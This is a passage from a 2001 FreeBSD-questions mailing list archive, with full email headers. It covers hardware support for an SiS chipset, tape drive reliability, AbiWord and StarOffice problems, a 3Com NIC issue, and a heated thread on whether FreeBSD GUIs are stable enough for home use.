install as normal. I'm not sure if mysql uses shared memory, but if it does, then you should know that shared memory in the jail is not seperated from the host's shared memory. That may cause some problems if you're using shared memory in the host system, or in another jail on the same system. -- jeff@jeffenstein.org http://www.jeffenstein.org/ "Power corrupts. Absolute power is kind of neat" -- John Lehman, Secretary of the Navy 1981-1987 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1:31:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f34.law11.hotmail.com [64.4.17.34]) by hub.freebsd.org (Postfix) with ESMTP id 5BF4D37B417 for ; Tue, 20 Nov 2001 01:31:45 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 01:31:45 -0800 Received: from 63.228.184.142 by lw11fd.law11.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 09:31:43 GMT X-Originating-IP: [63.228.184.142] From: "Charles Burns" To: herbert@bugat.at, freebsd-questions@FreeBSD.org Subject: Re: Elitegroup K7S5A - SIS 735 chipset Date: Tue, 20 Nov 2001 02:31:43 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 09:31:45.0145 (UTC) FILETIME=[2B80B690:01C171A6] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > >Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD >4.4-STABLE? What about the onboard ide controller? Can I run my hard >disks in udma66 or udma100 mode? >Any known problems with this mainboard and FreeBSD? > >Your comments are welcome! Tnx! I've heard good (performance) things about that chipset, but SiS is legendary for making crappy, unreliable, flaky, buggy hardware that drives up the support costs of companies selling mobo's based on their chipsets. It may work fine, I dunno, but is the $20 you'll have worth your time and headache if it doesn't? (Sorry I can't make any useful specific comments) Charles BUrns _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1:51:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 74C3C37B405 for ; Tue, 20 Nov 2001 01:51:29 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK9pPn85321; Tue, 20 Nov 2001 10:51:26 +0100 (CET) Message-ID: <009701c171a8$ebc141c0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Chip" , "Dennis Logan" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> Subject: Re: home pc use Date: Tue, 20 Nov 2001 10:51:19 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Not everyone is interested in a learning experience. Some people are just interested in dumping anything with Microsoft's name on it. People in this latter category are likely to be disappointed by an attempt to switch to FreeBSD, unless they enjoy playing with their operating systems more than they do using them. ----- Original Message ----- From: "Chip" To: "Dennis Logan" ; Sent: Tuesday, November 20, 2001 03:31 Subject: Re: home pc use > On Monday 19 November 2001 17:26, Dennis Logan wrote: > > Hi, > > Can i use this operating system instead of win98 on my pc? > > dennis > > Absolutely! I made the change a couple years ago. It's been a great > learning experience. That's the key - you have to have the attitude > that you're going into this to learn something new, not just point and > click your way around and never really know whats going on. > > Visit http://www.freebsd.org and others and learn as much as possible > before diving in, then you'll be able to make the right decistion, whether > or not FBSD is for you. > > -- > Chip W. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1:54:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 7F8A237B416 for ; Tue, 20 Nov 2001 01:54:16 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK9sCY85501; Tue, 20 Nov 2001 10:54:12 +0100 (CET) Message-ID: <009a01c171a9$4eedbee0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Steve Brown" , "Chip" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 10:54:05 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve writes: > If you're tired of Windows crashing you sure can! The KDE environment under FreeBSD stalled or crashed on me nearly half a dozen times in one day. That's about as many crashes as I've experienced in two years on Windows NT, and all of the Windows NT crashes were due to bad drivers. Unless he intends to run FreeBSD in its native, command-line mode, he should not expect an increase in stability over Microsoft Windows, and he may experience the opposite. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1:55:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 039C637B405 for ; Tue, 20 Nov 2001 01:55:43 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK9tGM85578; Tue, 20 Nov 2001 10:55:16 +0100 (CET) Message-ID: <00a101c171a9$75395d70$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Deman" Cc: References: <008201c17164$d2220e00$0a00000a@atkielski.com> <2519.10.100.98.21.1006246845.squirrel@10.100.3.5> Subject: Re: Mysterious boot during the night Date: Tue, 20 Nov 2001 10:55:10 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Deman writes: > I don't think that IT manager will ask such a question. > Please RTFM. No manual is furnished with the product. A lot of IT managers won't use a product that has no manual. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1:57:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id F2D1337B417; Tue, 20 Nov 2001 01:57:32 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK9vVH85718; Tue, 20 Nov 2001 10:57:31 +0100 (CET) Message-ID: <00a801c171a9$c5a8f2c0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" , "FreeBSD Questions" References: <002f01c17162$7d190550$0a00000a@atkielski.com> <20011120120938.M76318@monorchid.lemis.com> <007f01c17164$a3284c40$0a00000a@atkielski.com> <20011120121857.O76318@monorchid.lemis.com> Subject: Re: SCSI tape back that works under FreeBSD Date: Tue, 20 Nov 2001 10:57:25 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > Total failure. There's no such thing as "total failure." What actually occurred? > HP, AIWA, Sony, Conner. And all of them failed "totally"? > What would you replace them with? DLT is the usual choice. > It's a question of cost. If you don't want to pay for something better, you're in no position to complain about what you are using. > But if disks were anywhere near as unreliable > as tapes, people would be up in arms. Tapes don't have to be as reliable as disks. Nobody uses them for anything except backups. > Drive. How many times a day did you use the drive during 18 months? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:13:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mout04.kundenserver.de (mout04.kundenserver.de [195.20.224.89]) by hub.freebsd.org (Postfix) with ESMTP id 48F9737B418 for ; Tue, 20 Nov 2001 02:13:21 -0800 (PST) Received: from [195.20.224.219] (helo=mrvdom03.schlund.de) by mout04.kundenserver.de with esmtp (Exim 2.12 #2) id 1667tr-0000fA-00; Tue, 20 Nov 2001 11:13:07 +0100 Received: from pd9e49355.dip0.t-ipconnect.de ([217.228.147.85] helo=there) by mrvdom03.schlund.de with smtp (Exim 2.12 #2) id 1667rO-0002md-00; Tue, 20 Nov 2001 11:10:34 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Robert Klein Reply-To: RoKlein@roklein.de Organization: roklein.de To: "Anthony Atkielski" , "Chip" Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:11:48 +0100 X-Mailer: KMail [version 1.3.1] References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> In-Reply-To: <009a01c171a9$4eedbee0$0a00000a@atkielski.com> Cc: questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Anthony Atkielski" wrote: >Steve writes: >> If you're tired of Windows crashing you sure can! >The KDE environment under FreeBSD stalled or crashed on me nearly half a > dozen times in one day. That's about as many crashes as I've experienced > in two years on Windows NT, and all of the Windows NT crashes were due to > bad drivers. Perhaps this was due to your buggy VIA Southbridge, mentioned in another thread, IIRC? Though KDE crashing possibly indicates a faulty memory module / memory timing problems... >Unless he intends to run FreeBSD in its native, command-line mode, he should > not expect an increase in stability over Microsoft Windows, and he may > experience the opposite. As a side note, running a graphical user interface doesn't automagically mean, you have to use KDE. There's fvwm, icewm, twm ;), etc... Robert To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:19:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 0822D37B416 for ; Tue, 20 Nov 2001 02:19:11 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKAJ7T87675; Tue, 20 Nov 2001 11:19:07 +0100 (CET) Message-ID: <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: , "Chip" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 11:19:01 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Robert writes: > Perhaps this was due to your buggy VIA > Southbridge, mentioned in another > thread, IIRC? That same "buggy" hardware runs Windows flawlessly. > Though KDE crashing possibly indicates a faulty > memory module / memory timing problems... The most likely cause is poorly written code. > As a side note, running a graphical user interface > doesn't automagically mean, you have to use KDE. > There's fvwm, icewm, twm ;), etc... They all have the same drawback. Indeed, even under Windows, the vast majority of problems are related to the GUI environment, not the kernel OS (at least with a stable kernel, such as NT/2000/XP). I think that many people believe that, by just adopting the right OS, you can get a simple, Windows-like GUI. Unfortunately, that's not true ... _any_ GUI with the complexity and flexibility of a Windows environment will be just as complex itself, and just as potentially unstable. And the problem with freeware GUIs for UNIX systems is that the authors simply don't have the resources to beat them into complete stability with exhaustive testing and very careful coding. Typically only commercial developers, who have the luxury of being able to work full-time on a project, are able to do that, and even they usually don't bother to follow through, although they get further than people who are working as volunteers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:23:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kitkat.hotpop.com (kitkat.hotpop.com [204.57.55.30]) by hub.freebsd.org (Postfix) with ESMTP id B45D437B416 for ; Tue, 20 Nov 2001 02:23:46 -0800 (PST) Received: from hotpop.com (unknown [204.57.55.31]) by kitkat.hotpop.com (Postfix) with SMTP id A1C4E32538 for ; Tue, 20 Nov 2001 10:23:34 +0000 (UTC) Received: from 11 (unknown [202.98.16.2]) by zagnut.hotpop.com (Postfix) with SMTP id 94CBD50015 for ; Tue, 20 Nov 2001 10:23:34 +0000 (UTC) Date: Tue, 20 Nov 2001 18:23:41 +0800 From: S.W.Liu To: freebsd-questions@freebsd.org Subject: Help my about AbiWord and Staroffice60 Message-Id: <3BFA2F2D19A.7261SWLIU@smtp.hotpop.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.24 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I have tried to install AbiWord and Staroffice6, All things are right. But when I run abiword, I can't make it run. It says: Assert ....y(n)?.... After I say two "y", abiword crashed. (I have installed Abiword from source and package, they have the same question). I have also installed Staroffice6. But when I want to open files, I can't see any file in the Open File dialog. Why? For Staroffice6 from the port it doesn't support Chinese, I have downloaded the Chinese version Staroffice(StarSuite), I have installed it directly, It worked! But I also use its file dialog chooser to choose file to open. Why? How to resove it? Best Regard. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:29:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 251A937B416 for ; Tue, 20 Nov 2001 02:29:37 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 16689d-0006B7-00; Tue, 20 Nov 2001 10:29:25 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 16686j-000Ji9-00; Tue, 20 Nov 2001 10:26:25 +0000 Date: Tue, 20 Nov 2001 10:26:25 +0000 From: setantae To: Anthony Atkielski Cc: questions@freebsd.org Subject: Re: home pc use Message-ID: <20011120102625.GB75402@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 11:19:01AM +0100, Anthony Atkielski wrote: > > > As a side note, running a graphical user interface > > doesn't automagically mean, you have to use KDE. > > There's fvwm, icewm, twm ;), etc... > > They all have the same drawback. Running back up the thread, I can only imagine that you mean ``they all crash''. That's simply not true. I can't speak for KDE as I've never had any desire to run it, but I've never had had any window manager crash on me. If you meant another drawback, please do clarify. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:37:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id D1A8037B416 for ; Tue, 20 Nov 2001 02:37:43 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKAbfI88985; Tue, 20 Nov 2001 11:37:41 +0100 (CET) Message-ID: <00d201c171af$61dccb80$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 11:37:35 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > Running back up the thread, I can only imagine that you mean > ``they all crash''. No, I mean that they are all overcomplicated and bloated, compared to non-GUI systems. There is no such thing as a simple GUI with Windows-equivalent functionality. And complex GUIs have more of a tendency to crash; occasionally they make take the OS with them, depending on their design and the design of the OS. > That's simply not true. It's absolutely true. There's no such thing as a system that never crashes. GUIs tend to crash a lot more than non-GUIs, because of their complexity. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:39:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 6E50F37B405 for ; Tue, 20 Nov 2001 02:39:49 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id F184666EEE; Tue, 20 Nov 2001 02:39:48 -0800 (PST) Date: Tue, 20 Nov 2001 02:39:48 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: Steve Brown , Chip , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120023948.A92409@xor.obsecurity.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ew6BAiZeqk4r7MaW" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <009a01c171a9$4eedbee0$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 10:54:05AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --ew6BAiZeqk4r7MaW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 10:54:05AM +0100, Anthony Atkielski wrote: > Steve writes: >=20 > > If you're tired of Windows crashing you sure can! >=20 > The KDE environment under FreeBSD stalled or crashed on me nearly half a = dozen > times in one day. That's about as many crashes as I've experienced in tw= o years > on Windows NT, and all of the Windows NT crashes were due to bad drivers. >=20 > Unless he intends to run FreeBSD in its native, command-line mode, he sho= uld not > expect an increase in stability over Microsoft Windows, and he may experi= ence > the opposite. This isn't a fair statement; there are many many stable window managers on FreeBSD. Even though KDE and GNOME (allegedly) aren't stable, there are lots of remaining alternatives before you have to resort to the "native, command-line mode". Kris --ew6BAiZeqk4r7MaW Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+jLzWry0BWjoQKURAntEAJ9A9t1Tn/JhNF0HfMLycEBEurVkawCg+B19 6JXHh15fNoTX/7PNGDwp23w= =2wJI -----END PGP SIGNATURE----- --ew6BAiZeqk4r7MaW-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:43:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 2F40D37B405 for ; Tue, 20 Nov 2001 02:43:23 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKAhH089420; Tue, 20 Nov 2001 11:43:17 +0100 (CET) Message-ID: <00df01c171b0$2a938be0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kris Kennaway" Cc: "Steve Brown" , "Chip" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> Subject: Re: home pc use Date: Tue, 20 Nov 2001 11:43:11 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kris writes: > This isn't a fair statement; there are many > many stable window managers on FreeBSD. Even > though KDE and GNOME (allegedly) aren't stable, > there are lots of remaining alternatives before > you have to resort to the "native, command= > line mode". Which alternatives provide both the stability of the native CLI mode (which is, after all, a major selling point for FreeBSD) and the functional and ergonomic equivalent of Microsoft Windows? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:46:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 0A4DA37B416 for ; Tue, 20 Nov 2001 02:46:44 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id BF23A66D56; Tue, 20 Nov 2001 02:46:43 -0800 (PST) Date: Tue, 20 Nov 2001 02:46:43 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: setantae , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120024643.B92409@xor.obsecurity.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="zx4FCpZtqtKETZ7O" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00d201c171af$61dccb80$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 11:37:35AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --zx4FCpZtqtKETZ7O Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 11:37:35AM +0100, Anthony Atkielski wrote: > No, I mean that they are all overcomplicated and bloated, compared to non= -GUI > systems. This is a tautological statement ("code which needs to do more complicated things is more complicated and larger"). > There is no such thing as a simple GUI with Windows-equivalent > functionality. And complex GUIs have more of a tendency to crash; occasi= onally > they make take the OS with them, depending on their design and the design= of the > OS. This is an overgeneralization; under FreeBSD it's very rare for a window manager bug to "take out the OS". Even if the X server crashes the system still runs. > > That's simply not true. >=20 > It's absolutely true. There's no such thing as a system that never crash= es. > GUIs tend to crash a lot more than non-GUIs, because of their complexity. To be pedantic, it is true. In real terms, well-written and well-tested simple window managers rarely have catastrophic bugs. I can't remember the last time I had problems with windowmaker, for example. Kris --zx4FCpZtqtKETZ7O Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+jSTWry0BWjoQKURAvdwAJ0YOo4tleJud+pA9ujHiWoun4oY1gCggznY qkCW+R7m53tIPeOQi4NlAvA= =UkSh -----END PGP SIGNATURE----- --zx4FCpZtqtKETZ7O-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:47:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 3011837B41A for ; Tue, 20 Nov 2001 02:47:16 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAKAl7R20049; Tue, 20 Nov 2001 02:47:08 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Subject: RE: Bug in 3Com XL driver? Date: Tue, 20 Nov 2001 02:47:07 -0800 Message-ID: <005201c171b0$b32df1c0$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340B9E@apmail.dagupan.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG NICs are so cheap, don't waste your time, replace the card with an Intel NIC. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of >francisv@dagupan.com >Sent: Sunday, November 18, 2001 10:59 PM >To: freebsd-questions@FreeBSD.ORG >Subject: Bug in 3Com XL driver? > > >Hi, > >I've noticed that the 3Com XL (905B) card turns off at some point (erratic). >How do I debug or catch more verbose error messages from the NIC? > >--- > francis a. vidal [bitstop network services] > streaming media + web services + keystone learning > v(02)330-2871,(02)330-2872; f(02)330-2873 > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:47:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id E84BB37B405 for ; Tue, 20 Nov 2001 02:47:50 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 8795166D56; Tue, 20 Nov 2001 02:47:47 -0800 (PST) Date: Tue, 20 Nov 2001 02:47:47 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: Kris Kennaway , Steve 